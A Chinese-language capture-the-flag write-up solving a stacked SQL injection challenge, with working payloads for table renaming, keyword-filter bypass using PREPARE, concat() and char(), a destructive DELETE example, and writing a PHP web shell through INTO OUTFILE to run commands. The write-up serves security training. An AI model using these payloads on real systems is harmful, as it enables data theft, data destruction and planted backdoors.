知識點:SQL注入-堆疊注入,sql預處理語句,巧用contact()函數繞過
堆疊注入原理:
在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在分號(;)結束一個sql語句後繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合併在一起,兩者之間有什麼區別麼?區別就在於union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。
用戶輸入:1; DELETE FROM products
服務器端生成的sql語句爲:(因未對輸入的參數進行過濾)Select * from products where productid=1;DELETE FROM products
當執行查詢後,第一條顯示查詢信息,第二條則將整個表進行刪除
方法一:重命名+堆疊注入
打開題目,顯示如下界面,觀察後猜測是sql注入
0x01:判斷是否存在注入,注入是字符型還是數字型
輸入
1'
發現不回顯輸入
1' #
顯示正常應該是存在sql注入了
輸入1' or '1'='1
,正常回顯,應該是字符型
0x02:猜解SQL查詢語句中的字段數
輸入
1' order by 1 #
成功回顯輸入
1' order by 2 #
成功回顯輸入
1' order by 3 #
回顯錯誤[圖片上傳失敗...(image-2ea278-1567002658869)]
所以只有兩個字段
0x03:顯示字段
輸入
1′ union select 1,2 #
回顯一個正則過濾規則過濾了 select,update,delete,drop,insert,where 和 點
過濾了這麼多詞,是不是有堆疊注入?嘗試堆疊注入
0x04:查詢數據庫
輸入1';show databases;#
成功回顯
說明存在堆疊注入
0x05:查詢表
輸入
1';show tables;#
成功回顯得到兩個表
words
和1919810931114514
0x06:查詢表中字段
坑點:mysql中點引號( ' )和反勾號( ` )的區別
linux下不區分,windows下區分
區別:
單引號( ' )或雙引號主要用於字符串的引用符號
eg:mysql> SELECT 'hello', "hello" ;
反勾號( ` )主要用於數據庫、表、索引、列和別名用的引用符是[Esc下面的鍵]
eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
輸入1'; show columns from `words`; #
字段使用的是反勾號( ` )
輸入
1'; show columns from `1919810931114514`; #
字段使用的是反勾號( ` )
可以看到
1919810931114514
中有我們想要的flag
字段現在常規方法基本就結束了,要想獲得flag就必須來點騷姿勢了
因爲這裏有兩張表,回顯內容肯定是從word這張表中回顯的,那我們怎麼才能讓它回顯flag所在的表呢
內部查詢語句類似 :
select id, data from word where id =
他既然沒過濾 alert 和 rename,那麼我們是不是可以把表改個名字,再給列改個名字呢。
先把 words 改名爲 words1,再把這個數字表改名爲 words,然後把新的 words 裏的 flag 列改爲 id (避免一開始無法查詢)。
payload:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
接着輸入
1' or '1'='1 #
,查詢就得到flag方法二:預處理語句+堆疊注入
預處理語句使用方式:
PREPARE name from '[my sql sequece]'; //預定義SQL語句
EXECUTE name; //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE name; //刪除預定義SQL語句
預定義語句也可以通過變量進行傳遞:
SET @tn = 'hahaha'; //存儲表名
SET @sql = concat('select * from ', @tn); //存儲SQL語句
PREPARE name from @sql; //預定義SQL語句
EXECUTE name; //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla; //刪除預定義SQL語句
本題即可利用char()
方法將ASCII碼
轉換爲SELECT
字符串,接着利用concat()
方法進行拼接獲得查詢的SQL語句
,來繞過過濾或者直接使用concat()
方法繞過
char()根據ASCII表返回給定整數值的字符值
eg:
mysql> SELECT CHAR(77,121,83,81,'76');
-> 'MySQL'
contact()函數用於將多個字符串連接成一個字符串
contact (str1,str2,…)
eg:
mysql> SELECT CONCAT('My', 'S', 'QL');
-> 'MySQL'
char(115,101,108,101,99,116)<----->'select'
payload1:不使用變量
1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#
輸入payload1
直接得到flag
payload2:使用變量
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE jwt from @sql;EXECUTE jwt;#
輸入payload2
直接得到flag
payload3:只是用contact(),不使用char()
1';PREPARE jwt from concat('s','elect', ' * from `1919810931114514` ');EXECUTE jwt;#
方法三:利用命令執行Getflag
查詢了一下用戶竟然是root
1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;
那麼寫個執行命令的shell吧(絕對路徑猜的,一般是服務器網站根目錄/var/www/html)
1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
利用char(46)
<==>.
從而繞過關鍵詞.
過濾
Mysql into outfile語句,可以方便導出表格的數據。同樣也可以生成某些文件。因此有些人會利用sql注入生成特定代碼的文件,然後執行這些文件。將會造成嚴重的後果。
Mysql into outfile 生成PHP文件
SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E into outfile '/var/www/html/fuck.php'
最後會在/var/www/html/路徑下, 生成fuck.php文件
這裏不走尋常路,執行打算利用我們的shell查詢flag(賬號密碼直接讀取首頁就可以看到)
利用一句話木馬執行任意mysql命令(雙引號中的內容會被當做shell命令執行然後結果再傳回來執行)
uroot:
用戶名root proot:
密碼root
/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"
參考:
SQL注入-堆疊注入
SQL Injection8(堆疊注入)——強網杯2019隨便注
[Writeup]BUUCTF_Web_隨便注
MySQL的SQL預處理(Prepared)
利用Mysql into outfile給網站留後門
shell處理mysql增、刪、改、查